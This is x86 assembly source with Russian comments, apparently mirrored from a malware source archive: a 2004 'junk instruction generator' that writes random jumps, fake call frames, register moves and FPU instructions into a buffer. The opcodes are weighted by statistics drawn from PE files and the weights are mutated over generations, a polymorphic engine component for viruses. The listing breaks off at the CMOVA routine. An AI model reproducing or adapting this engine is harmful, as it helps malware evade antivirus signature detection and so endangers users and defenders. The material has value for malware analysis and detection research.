mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
1175 lines
38 KiB
NASM
1175 lines
38 KiB
NASM
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||
; ГЕНЕРАТОР МУСОРНЫХ ИНСТРУКЦИЙ V. 0.4 (x) 2004 СЛОН http://slon.wronger.com ;
|
||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||
; Использование: mov edi,БУФЕР ДЛЯ КОДА ;
|
||
; mov ecx,ДЛИНА КОДА ;
|
||
; mov ebx,НЕ ИСПОЛЬЗУЕМЫЕ РЕГИСТРЫ(_all) ;
|
||
; call garbage ;
|
||
;------------------------------------------------------------------------------;
|
||
; Результат: сгенерированный код в edi ;
|
||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||
; ВЕРСИЯ 0.3 Генерация инструкций по заданным статистическим ;
|
||
; характерстикиам(они получены в результате анализа ;
|
||
; большого количества файлов формата "PE") ;
|
||
;------------------------------------------------------------------------------;
|
||
; ВЕРСИЯ 0.2 Добавлены новые инструкции x86, так же добавлены ;
|
||
; инструкции сопроцессора (x87) ;
|
||
;------------------------------------------------------------------------------;
|
||
; ВЕРСИЯ 0.1 Реализация многих инструкций x86 процессора, ;
|
||
; случайная комбинация инструкций ;
|
||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||
|
||
;----[Главная подпрограмма генератора мусора]----------------------------------;
|
||
|
||
garbage: ; Подпрограмма генерации
|
||
; мусорных инструкций
|
||
push edx ; Сохраняем в стэке
|
||
push ecx ; edx, ecx, esi, ebp, ecx, eax
|
||
push esi ;
|
||
push ebp ;
|
||
push ebx ;
|
||
push eax ;
|
||
|
||
call delta_offset ;
|
||
delta_offset: pop ebp ; Получаем дельта смещение
|
||
sub ebp,offset delta_offset ;
|
||
|
||
call r_init ; Инициалицируем ГСЧ
|
||
__st__:
|
||
test ecx,ecx ; Если все инструкции
|
||
jz landing ; сгенерированы, то на выход
|
||
|
||
mov eax,21 ; Выбираем случайным образом
|
||
call brandom32 ; вариант генерации мусорных
|
||
; инструкций
|
||
shl eax,1 ; Умножаем eax на 2
|
||
|
||
call __freq__ ; Выбираем блок инструкций по
|
||
; статистической вероятности
|
||
test eax,eax ; Если не выбрали, то пытаемся
|
||
jz __st__ ; снова
|
||
|
||
lea esi,[ebp+mega_table] ; В esi смещение на таблицу
|
||
; относительных смещений
|
||
add esi,eax ; к esi добавляем eax
|
||
xor eax,eax ; Обнуляем eax
|
||
lodsw ; В ax загружаем
|
||
; относительное смещение от
|
||
; метки __st__
|
||
lea esi,[ebp+__st__] ; В esi кладём смещение
|
||
; метки __st__
|
||
add eax,esi ; Добавляем смещение
|
||
; подпрограммы
|
||
call eax ; Вызываем её
|
||
jmp __st__ ; Переход на __st__
|
||
|
||
;----[Завершение работы генератора мусора]-------------------------------------;
|
||
|
||
landing:
|
||
inc [ebp+__generation] ; Увеличиваем счётчик поколений
|
||
|
||
cmp [ebp+__generation],10 ; Если это не 10 поколение, то
|
||
jne __ne__ ; идём на выход
|
||
|
||
mov [ebp+__generation],0 ; Сбрасываем счётчик поколений
|
||
|
||
|
||
call gen_mutation ; Вызываем изменение 1 случ.
|
||
; мат. ожидания
|
||
|
||
mov [ebp+__cross1],ecx ; Выбираем 1 опр. фактор
|
||
; эволюции
|
||
|
||
call gen_mutation ; Вызываем изменение 2 случ.
|
||
; мат. ожидания
|
||
|
||
mov [ebp+__cross2],ecx ; Выбираем 2 опр. фактор
|
||
; эволюции
|
||
__ne__:
|
||
mov ecx,[ebp+__cross1] ; Производим селекцию 1 опр.
|
||
call gen_crossover ; фактора эволюции
|
||
|
||
mov ecx,[ebp+__cross1] ; Производим селекцию 2 опр.
|
||
call gen_crossover ; фактора эволюции
|
||
|
||
pop eax ;
|
||
pop ebx ;
|
||
pop ebp ;
|
||
pop esi ; Восстанавливаем регистры
|
||
pop ecx ;
|
||
pop edx ;
|
||
|
||
ret ; Возврат из подпрограммы
|
||
;----[Подпрограмма выбора стат. вероятностей]----------------------------------;
|
||
|
||
__freq__:
|
||
push eax ; Сохраняем eax в стэке
|
||
|
||
lea esi,[ebp+__freq_table] ; Загружаем указатель на таблицу
|
||
add esi,eax ; с мат. ожиданиями
|
||
lodsw ; Загружаем в ax мат.ожидание
|
||
mov edx,eax ; Переносим её в edx
|
||
|
||
mov eax,1001 ; Генеририуем случайное число
|
||
call brandom32 ; в интервале 0..1000
|
||
|
||
cmp edx,eax ; Проверяем попали ли мы?
|
||
jge __exit__ ; Если попали, то на выход
|
||
mov 4 ptr [esp],0 ; Нет обнулим верхушку стэка
|
||
__exit__:
|
||
pop eax ; Восстанавливаем eax из стэка
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Подпрограмма изменения мат. ожидания]------------------------------------;
|
||
|
||
gen_mutation:
|
||
mov eax,21 ; Выбираем случайным образом
|
||
call brandom32 ; вариант генерации мусорных
|
||
; инструкций
|
||
shl eax,1 ; Умножаем eax на 2
|
||
|
||
lea esi,[ebp+__freq_table] ; В esi смещение на таблицу
|
||
; мат. ожиданий опкодов
|
||
add esi,eax ; к esi добавляем eax
|
||
xor eax,eax ; Обнуляем eax
|
||
lodsw ; В ax загружаем мат.
|
||
; ожидание
|
||
|
||
call brandom32 ; Генерируем СЧ в диапазоне
|
||
sub esi,2 ; 0..мат.ожидание-1 и уменьшаем
|
||
; esi на 2
|
||
sub 2 ptr [esi],ax ; Вычитаем из мат. ожидания
|
||
; Наше случаное число
|
||
push eax ; Сохраняем в стэке СЧ
|
||
|
||
mov eax,21 ; Выбираем случайным образом
|
||
call brandom32 ; вариант генерации мусорных
|
||
; инструкций
|
||
shl eax,1 ; Умножаем eax на 2
|
||
|
||
mov ecx,eax ;
|
||
|
||
lea esi,[ebp+__freq_table] ; В esi смещение на таблицу
|
||
; мат. ожиданий опкодов
|
||
add esi,eax ; к esi добавляем eax
|
||
|
||
pop eax ; Восстанавливаем из стэка СЧ
|
||
add 2 ptr [esi],ax ; И добавляем его к другому
|
||
; Мат. ожиданию
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Подпрограмма селекции опр. фактора эволюции]-----------------------------;
|
||
|
||
gen_crossover:
|
||
|
||
mov eax,21 ; Выбираем случайным образом
|
||
call brandom32 ; вариант генерации мусорных
|
||
; инструкций
|
||
shl eax,1 ; Умножаем eax на 2
|
||
|
||
lea esi,[ebp+__freq_table] ; В esi смещение на таблицу
|
||
; мат. ожиданий опкодов
|
||
add esi,eax ; к esi добавляем eax
|
||
xor eax,eax ; Обнуляем eax
|
||
lodsw ; В ax загружаем мат.
|
||
; ожидание
|
||
|
||
call brandom32 ; Генерируем СЧ в диапазоне
|
||
sub esi,2 ; 0..мат.ожидание-1 и уменьшаем
|
||
; esi на 2
|
||
sub 2 ptr [esi],ax ; Вычитаем из мат. ожидания
|
||
; Наше случаное число
|
||
push eax ; Сохраняем в стэке СЧ
|
||
|
||
lea esi,[ebp+__freq_table] ; В esi смещение на таблицу
|
||
; мат. ожиданий опкодов
|
||
add esi,ecx ; к esi добавляем eax
|
||
|
||
pop eax ; Восстанавливаем из стэка СЧ
|
||
add 2 ptr [esi],ax ; И добавляем его к другому
|
||
; Мат. ожиданию
|
||
ret ; Возврат из подпрограммы
|
||
|
||
|
||
;----[Генерация инструкций JXX SHORT - 0x70..0x7f]-----------------------------;
|
||
|
||
__jxx_short:
|
||
mov eax,50 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..49
|
||
push eax ; Сохраняем eax в стэке
|
||
add eax,2 ; Добавляем длину перехода
|
||
cmp eax,ecx ; Проверяем не больше ли длины
|
||
; Всех инструкций
|
||
pop eax ; Восстанавливаем из стэка eax
|
||
jle __gen1__ ; Если число превышает длину
|
||
ret ; то выходим из подпрограммы
|
||
__gen1__: ;
|
||
push eax ; Кладём eax опять в стэк
|
||
mov eax,10 ; Выбираем случайным образом
|
||
call brandom32 ; число от 0..9
|
||
add al,70h ; Добавляем 70h
|
||
stosb ; и кладём его в буфер
|
||
pop eax ; Вынимаем из стэка eax и
|
||
stosb ; кладём в буфер
|
||
mov edx,eax ; Кладём число в edx
|
||
push ecx ; Сохраняем ecx в стэке
|
||
mov ecx,edx ; Генерируем рекурсивно
|
||
call garbage ; мусор между переходом
|
||
pop ecx ; Восстанавливаем ecx
|
||
; В итоге у нас получается
|
||
; случайно выбранный,
|
||
; условный переход:
|
||
; ..............................
|
||
; jae next
|
||
; mov eax,0
|
||
; next: nop
|
||
; ..............................
|
||
sub ecx,2 ; Уменьшаем счётчик на 2
|
||
sub ecx,edx ; И на длину перехода
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций NOT/NEG - 0xf7]-------------------------------------;
|
||
|
||
__not_r32:
|
||
cmp cl,2 ; Если длина генерируемой
|
||
jge __g1__ ; инструкции меньше 2, то
|
||
ret ; Возврат из подпрограммы
|
||
__g1__:
|
||
mov al,0f7h ; Помещаем в al - 0f7h
|
||
stosb ; и кладём его в буфер
|
||
mov dl,0d0h ; Помещаем в dl - 0d0h
|
||
mov eax,2 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..1
|
||
shl eax,3 ; Умножаем его на 8
|
||
add dl,al ; Добавляем к dl - al
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; и кладём его в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкция NOT/NEG:
|
||
; ..............................
|
||
; not eax
|
||
; ..............................
|
||
sub ecx,2 ; Уменьшаем счётчик на 2
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций JXX NEAR - 0x0f 0x80..0x0f 0x89]--------------------;
|
||
|
||
__jxx_near:
|
||
mov eax,50 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..49
|
||
push eax ; Сохраняем его в стэке
|
||
add eax,6 ; Добавляем длину перехода
|
||
cmp eax,ecx ; Проверяем не больше длины
|
||
; Всех инструкций
|
||
pop eax ; Восстанавливаем eax из стэка
|
||
jle __gen2__ ; Если число превышает длину
|
||
ret ; то выходим из подпрограммы
|
||
__gen2__: ;
|
||
push eax ; Сохраняем в стэке eax
|
||
mov al,0fh ; Помещаем в al - 0fh
|
||
stosb ; и кладём его в буфер
|
||
mov eax,10 ; Выбираем случайным образом
|
||
call brandom32 ; число от 0..9
|
||
;
|
||
add al,80h ; Добавляем 80h
|
||
stosb ; и кладём его в буфер
|
||
pop eax ; Вынимаем из стэка eax
|
||
stosd ; Помещаем его в буфер
|
||
mov edx,eax ; Кладём в edx - eax
|
||
push ecx ; Сохраняем ecx в стэке
|
||
mov ecx,edx ; Генерируем рекурсивно
|
||
call garbage ; мусор между переходом
|
||
pop ecx ; Восстанавливаем ecx
|
||
; В итоге у нас получается
|
||
; случайно выбранный,
|
||
; условный, переход:
|
||
; ..............................
|
||
; je next
|
||
; push 0
|
||
; next: push 64
|
||
; ..............................
|
||
sub ecx,6 ; Уменьшаем счётчик на 6
|
||
sub ecx,edx ; И на длину инструкций
|
||
;
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций сопроцессора - 0xdc]--------------------------------;
|
||
|
||
__x87:
|
||
cmp cl,2 ; Если длина генерируемой
|
||
jge __g2__ ; инструкции меньше 2, то
|
||
ret ; Возврат из подпрограммы
|
||
__g2__:
|
||
mov al,0dch ; Кладём в al - 0dch
|
||
stosb ; И помещаем al в буфер
|
||
mov eax,02fh ; Генерируем случайное число
|
||
call brandom32 ; в интервале 0..2eh
|
||
add al,0c0h ; Добавляем к числу 0c0h
|
||
stosb ; и помещаем сумму в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкция сопроцессора:
|
||
; ..............................
|
||
; fadd st(0),st
|
||
; ..............................
|
||
sub ecx,2 ; Уменьшаем счётчик на 2
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций сравнения - 0x3a]-----------------------------------;
|
||
|
||
__cmp_r32_r32:
|
||
cmp cl,2 ; Если длина генерируемой
|
||
jge __g3__ ; инструкции меньше 2, то
|
||
ret ; Возврат из подпрограммы
|
||
__g3__:
|
||
mov dl,3ah ; Помещаем в dl - 03ah
|
||
mov eax,3 ; Получаем случайное число
|
||
call brandom32 ; в диапазоне 0..2
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; Затем помещаем al в буфер
|
||
call rnd_reg ; Получаем случайный регистр
|
||
shl eax,3 ; Умножаем eax на 8
|
||
add al,0c0h ; Добавляем к al - 0c0h
|
||
mov dl,al ; помещаем в dl - al
|
||
call rnd_reg ; Получаем случайный регистр
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И помещаем al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкция CMP:
|
||
; ..............................
|
||
; cmp eax,esp
|
||
; ..............................
|
||
sub ecx,2 ; Уменьшаем счётчик на 2
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций XOR - 0x33]-----------------------------------------;
|
||
|
||
__xor_r32_r32:
|
||
cmp cl,2 ; Если длина генерируемой
|
||
jge __g4__ ; инструкции меньше 2, то
|
||
ret ; Возврат из подпрограммы
|
||
__g4__:
|
||
mov al,33h ; Помещаем в al - 33h
|
||
stosb ; И затем кладём это в буфер
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
shl eax,3 ; Умножаем eax на 8
|
||
add al,0c0h ; Добавляем к al - 0c0h
|
||
mov dl,al ; помещаем в dl - al
|
||
call rnd_reg ; Получаем случайный регистр
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И помещаем al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкция XOR:
|
||
; ..............................
|
||
; xor eax,esp
|
||
; ..............................
|
||
sub ecx,2 ; Уменьшаем счётчик на 2
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций TEST - 0x84]----------------------------------------;
|
||
|
||
__test_r32_r32:
|
||
cmp cl,2 ; Если длина генерируемой
|
||
jge __g5__ ; инструкции меньше 2, то
|
||
ret ; Возврат из подпрограммы
|
||
__g5__:
|
||
mov dl,084h ; Помещаем в dl - 084h
|
||
mov eax,2 ; Получаем случайное число
|
||
call brandom32 ; в диапазоне 0..1
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И затем кладём это в буфер
|
||
call rnd_reg ; Вызываем подпрограмму
|
||
; получения случайного
|
||
; регистра
|
||
add al,0c0h ; Добавляем к al - 0c0h
|
||
mov dl,al ; помещаем в dl - al
|
||
call rnd_reg ; Получаем случайный регистр
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И помещаем al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкция TEST:
|
||
; ..............................
|
||
; test eax,esp
|
||
; ..............................
|
||
sub ecx,2 ; Уменьшаем счётчик на 2
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций MOV, XCHG - 0x87,0x89,0x8b]-------------------------;
|
||
|
||
__mov_r32_r32:
|
||
cmp cl,2 ; Если длина генерируемой
|
||
jge __g6__ ; инструкции меньше 2, то
|
||
ret ; Возврат из подпрограммы
|
||
__g6__:
|
||
mov eax,3 ; Генерируем СЧ в
|
||
call brandom32 ; диапазоне 0..2
|
||
|
||
test eax,eax ; Проверяем, как опкод мы
|
||
jnz __ng1__ ; будем генерировать
|
||
; Если не 0, то 0x8b
|
||
|
||
mov eax,10 ; Генерируем СЧ в
|
||
call brandom32 ; диапазоне 0..9
|
||
|
||
test eax,eax ; Проверяем какой опкод мы
|
||
jnz __ng2__ ; будем генерировать
|
||
; Если не 0, то 0x89
|
||
|
||
mov al,87h ; Будем генерировать 0x87
|
||
jmp __ag1__ ; Идём дальше
|
||
__ng2__:
|
||
mov al,89h ; Будем генерировать 0x89
|
||
jmp __ag1__ ; Идём дальше
|
||
__ng1__:
|
||
mov al,8bh ; Помещаем в al - 8bh
|
||
__ag1__:
|
||
stosb ; Потом помещаем al в буфер
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
shl eax,3 ; Умножаем eax на 8
|
||
add al,0c0h ; Добавляем к al - 0c0h
|
||
mov dl,al ; помещаем в dl - al
|
||
call free_reg ; Получаем случайный регистр
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И помещаем al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкция MOV, XCHG:
|
||
; ..............................
|
||
; mov eax,esp
|
||
; ..............................
|
||
sub ecx,2 ; Уменьшаем счётчик на 2
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций PUSH/POP - 0x50..0x57;0x58..0x5f]-------------------;
|
||
|
||
__push_r32:
|
||
mov eax,10 ; Генерируем СЧ в
|
||
call brandom32 ; диапазоне 0..9
|
||
mov edx,eax ; Кладём его в edx
|
||
add al,2 ; Доавляем к al - 2
|
||
|
||
cmp eax,ecx ; Если длина генерируемой
|
||
jle __g7__ ; инструкции меньше 2
|
||
; и длины мусора ,то
|
||
ret ; Возврат из подпрограммы
|
||
__g7__:
|
||
call free_reg ; Получаем случайный регистр
|
||
add al,50h ; Добавляем к al - 50h
|
||
stosb ; Кладём al в буфер
|
||
|
||
push ecx ; Сораняем ecx в стэке
|
||
mov ecx,edx ; Генерируем серию
|
||
call garbage ; мусорных инструкций
|
||
pop ecx ; Вынимаем ecx из стэка
|
||
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,58h ; Добавляем к al - 58h
|
||
stosb ; И опять кладём al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции PUSH/POP:
|
||
; ..............................
|
||
; push eax
|
||
; mov eax,2
|
||
; pop ecx
|
||
; ..............................
|
||
sub ecx,edx ; Уменьшаем счётчик на edx
|
||
sub ecx,2 ; Уменьшаем счётчик на - 2
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций MOV - 0x0b8]----------------------------------------;
|
||
|
||
__mov_r32_imm32:
|
||
cmp cl,5 ; Если длина генерируемой
|
||
jge __g8__ ; инструкции меньше 5, то
|
||
ret ; Возврат из подпрограммы
|
||
__g8__: ;
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,0b8h ; Добавляем к al - 0b8h
|
||
stosb ; И кладём al в буфер
|
||
xor eax,eax ; Обнуляем eax
|
||
dec eax ; Теперь eax = 0ffffffffh
|
||
call brandom32 ; Генерируем случайное
|
||
stosd ; число
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции MOV:
|
||
; ..............................
|
||
; mov eax,12345678
|
||
; ..............................
|
||
sub ecx,5 ; Уменьшаем счётчик на 5
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций JMP SHORT - 0xeb]-----------------------------------;
|
||
|
||
__jmp_short:
|
||
cmp cl,2 ; Если длина генерируемой
|
||
jg __g9__ ; инструкции меньше 2, то
|
||
ret ; Воврат из подпрограммы
|
||
__g9__:
|
||
mov eax,50 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..49
|
||
push eax ; Сохраняем его в стэке
|
||
add eax,2 ; Добавляем длину перехода
|
||
cmp eax,ecx ; Проверяем не больше длины
|
||
pop eax ; Восстанавливаем из стэка
|
||
jle __gen3__ ; Если число превышает длину
|
||
ret ; то выходим из подпрограммы
|
||
__gen3__: ;
|
||
push eax ; Сохраняем в стэке eax
|
||
mov al,0ebh ; Кладём в al - 0ebh
|
||
stosb ; И кладём al в буфер
|
||
pop eax ; Восстанавливаем из стэка
|
||
stosb ; Помещаем его в буфер
|
||
mov edx,eax ; Кладём в edx - eax
|
||
push ecx ; Сохраняем ecx в стэке
|
||
mov ecx,edx ; Генерируем рекурсивно
|
||
call garbage ; мусор между переходом
|
||
pop ecx ; Восстанавливаем ecx
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции JMP SHORT:
|
||
; ..............................
|
||
; jmp next
|
||
; mov ax,22
|
||
; next: nop
|
||
; ..............................
|
||
sub ecx,2 ; Уменьшаем счётчик на 2
|
||
sub ecx,edx ; И на длину инструкций
|
||
;
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций ADD - 0x81]-----------------------------------------;
|
||
|
||
__add_r32_imm32:
|
||
cmp cl,6 ; Если длина генерируемой
|
||
jge g10__ ; инструкции меньше 6, то
|
||
ret ; Возврат из подпрограммы
|
||
g10__:
|
||
mov al,81h ; Кладём в al - 81h
|
||
stosb ; И помещаем al в буфер
|
||
mov eax,4 ; Получаем случайное число
|
||
call brandom32 ; в диапазоне от 0..9
|
||
add al,0ch ; Добавляем к нему - 0ch
|
||
shl al,4 ; Умножаем al на 16
|
||
mov dl,al ; Кладём в dl - al
|
||
mov eax,2 ; Получаем случайное число
|
||
call brandom32 ; в диапазоне от 0..1
|
||
shl al,3 ; Умножаем al на 8
|
||
add dl,al ; Добавляем к dl - al
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И кладём al в буфер
|
||
xor eax,eax ; Обнуляем eax
|
||
dec eax ; Теперь eax = 0ffffffffh
|
||
call brandom32 ; Генерируем случайное
|
||
stosd ; число и кладём его в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции ADD:
|
||
; ..............................
|
||
; add eax,12345678
|
||
; ..............................
|
||
sub ecx,6 ; Уменьшаем счётчик на 6
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций LEA - 0x8d]-----------------------------------------;
|
||
|
||
__lea_r32_imm32:
|
||
cmp cl,6 ; Если длина генерируемой
|
||
jge __g11__ ; инструкции меньше 6, то
|
||
ret ; Возврат из подпрограммы
|
||
__g11__:
|
||
mov al,8dh ; Кладём в al - 8dh
|
||
stosb ; И помещаем al в буфер
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
shl eax,3 ; Умножаем eax на - 8
|
||
add al,5 ; Добавляем к al - 5
|
||
stosb ; И кладём al в буфер
|
||
xor eax,eax ; Обнуляем eax
|
||
dec eax ; Теперь eax = 0ffffffffh
|
||
call brandom32 ; Генерируем случайное число
|
||
stosd ; И кладём его в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции LEA:
|
||
; ..............................
|
||
; lea eax,[12345678]
|
||
; ..............................
|
||
sub ecx,6 ; Уменьшаем счётчик на 6
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций CALL NEAR - 0xe8]-----------------------------------;
|
||
|
||
__call_near:
|
||
mov eax,50 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..49
|
||
mov edx,eax ; И кладём его в edx
|
||
|
||
mov eax,50 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..49
|
||
push eax ; Сохраняем его в стэке
|
||
add eax,11 ; Добавляем длину перехода
|
||
add eax,edx ; Добавляем к eax - edx
|
||
cmp eax,ecx ; Проверяем не больше длины
|
||
pop eax ; Восстанавливаем из стэка
|
||
jle __gen4__ ; Если число превышает длину, то
|
||
ret ; Возврат из подпрограммы
|
||
__gen4__:
|
||
push edx ; Сохраняем в стэке edx
|
||
push eax ; Сохраняем в стэке eax
|
||
mov al,0e8h ; Кладём в al - 0e8h
|
||
stosb ; И помещаем al в буфер
|
||
mov eax,[esp] ; Восстанавливаем eax
|
||
inc eax ; Увеличиваем eax на - 1
|
||
stosd ; Кладём eax в буфер
|
||
xor eax,eax ; Обнуляем eax
|
||
dec eax ; Теперь в eax - 0ffffffffh
|
||
call brandom32 ; Генерируем СЧ и
|
||
stosb ; Кладём его в буфер
|
||
pop edx ; Вынимаем из стэка в edx
|
||
push ecx ; Сохраняем ecx в стэке
|
||
mov ecx,edx ; Генерируем рекурсивно
|
||
call garbage ; мусор между переходом
|
||
pop ecx ; Восстанавливаем ecx
|
||
|
||
mov al,55h ;
|
||
stosb ; Кладём в буфер 055h
|
||
mov ax,0ec8bh ;
|
||
stosw ; Кладём в буфер 0ec8bh
|
||
|
||
push edx ; Кладём edx в стэк
|
||
|
||
mov edx,[esp+4] ; Вынимаем из стэка в edx
|
||
push ecx ; Сохраняем ecx в стэке
|
||
mov ecx,edx ; Генерируем рекурсивно
|
||
call garbage ; мусор между переходом
|
||
pop ecx ; Восстанавливаем ecx
|
||
|
||
mov al,5dh ; Кладём в буфер 05dh
|
||
stosb ;
|
||
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,58h ; Добавляем к al - 58
|
||
stosb ; И опять кладём al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкция CALL NEAR:
|
||
; ..............................
|
||
; mov eax,12345678h
|
||
; call next
|
||
; add edx,34567h
|
||
; next:
|
||
; push ebp
|
||
; mov ebp,esp
|
||
; xor eax,edx
|
||
; pop ebp
|
||
; pop edx
|
||
; ..............................
|
||
sub ecx,11 ; Уменьшаем счётчик на 11
|
||
pop edx ; Вынимаем из стэка в edx
|
||
sub ecx,edx ; Уменьшаем на длину инструкций
|
||
pop edx ; Вынимаем из стэка в edx
|
||
sub ecx,edx ; Уменьшаем на длину инструкций
|
||
;
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций SHL - 0xc1]-----------------------------------------;
|
||
|
||
__shl_r32_imm8:
|
||
cmp cl,3 ; Если длина генерируемой
|
||
jge __g12__ ; инструкции меньше 3, то
|
||
ret ; Возврат из подпрограммы
|
||
__g12__:
|
||
mov al,0c1h ; Кладём в al - 0c1h
|
||
stosb ; И помещаем al в буфер
|
||
mov eax,6 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..5
|
||
shl eax,3 ; Умножаем его на 8
|
||
add al,0c0h ; Добавляем к нему - 0c0h
|
||
mov dl,al ; Помещаем в dl - al
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И помещаем al в буфер
|
||
mov eax,256 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..255
|
||
stosb ; И кладём его в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции SHL,ROL, ...:
|
||
; ..............................
|
||
; shl ebp,04
|
||
; ..............................
|
||
sub ecx,3 ; Уменьшаем счётчик на 3
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация иструкций XADD - 0x0f 0x0a3 ...]-------------------------------;
|
||
|
||
__xadd_r32_r32:
|
||
cmp cl,3 ; Если длина генерируемой
|
||
jge __g13__ ; инструкции меньше 6, то
|
||
ret ; Возврат из подпрограммы
|
||
__g13__:
|
||
mov al,0fh ; Кладём в al - 0fh
|
||
stosb ; И помещаем al в буфер
|
||
lea esi,[ebp+__3_byte_opcode]; Кладём в esi указатель на
|
||
; таблицу частей 3-х байтных
|
||
; инструкций
|
||
mov eax,14 ; Генерируем случайное число
|
||
call brandom32 ; в диапазоне 0..13
|
||
add esi,eax ; Прибавляем к esi - eax
|
||
movsb ; Перемещаем байт в буфер
|
||
mov dl,0c0h ; Кладём в dl - 0с0h
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
shl eax,3 ; Умножаем eax на 8
|
||
add dl,al ; Добавляем к dl - al
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И помещаем al в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции XADD,IMUL, ...:
|
||
; ..............................
|
||
; xadd eax,eax
|
||
; ..............................
|
||
sub ecx,3 ; Уменьшаем счётчик на 3
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций MOV - 0x66 0xb8..0xbf]------------------------------;
|
||
|
||
__mov_r16_imm16:
|
||
cmp cl,4 ; Если длина генерируемой
|
||
jge __g14__ ; инструкции меньше 4, то
|
||
ret ; Возврат из подпрограммы
|
||
__g14__:
|
||
mov al,066h ; Кладём в al - 066h
|
||
stosb ; И помещаем al в буфер
|
||
mov dl,0b8h ; Помещаем в dl - 0b8h
|
||
call free_reg ; Вызываем подпрограмму
|
||
; получения свободных
|
||
; регистров
|
||
add al,dl ; Добавляем к al - dl
|
||
stosb ; И помещаем al в буфер
|
||
xor eax,eax ; Обнуляем eax
|
||
dec eax ; Теперь в eax - 0ffffffffh
|
||
call brandom32 ; Генерируем СЧ
|
||
stosw ; И помещаем его в буфер
|
||
; В итоге у нас получается
|
||
; случайно выбранная
|
||
; инструкции MOV:
|
||
; ..............................
|
||
; mov ax,3452
|
||
; ..............................
|
||
sub ecx,4 ; Уменьшаем счётчик на 4
|
||
ret ; Возврат из подпрограммы
|
||
|
||
;----[Генерация инструкций CMOVA - 0x0f 0x40..0x4f]----------------------------;
|
||
|
||
__cmova_r32_r32:
|
||
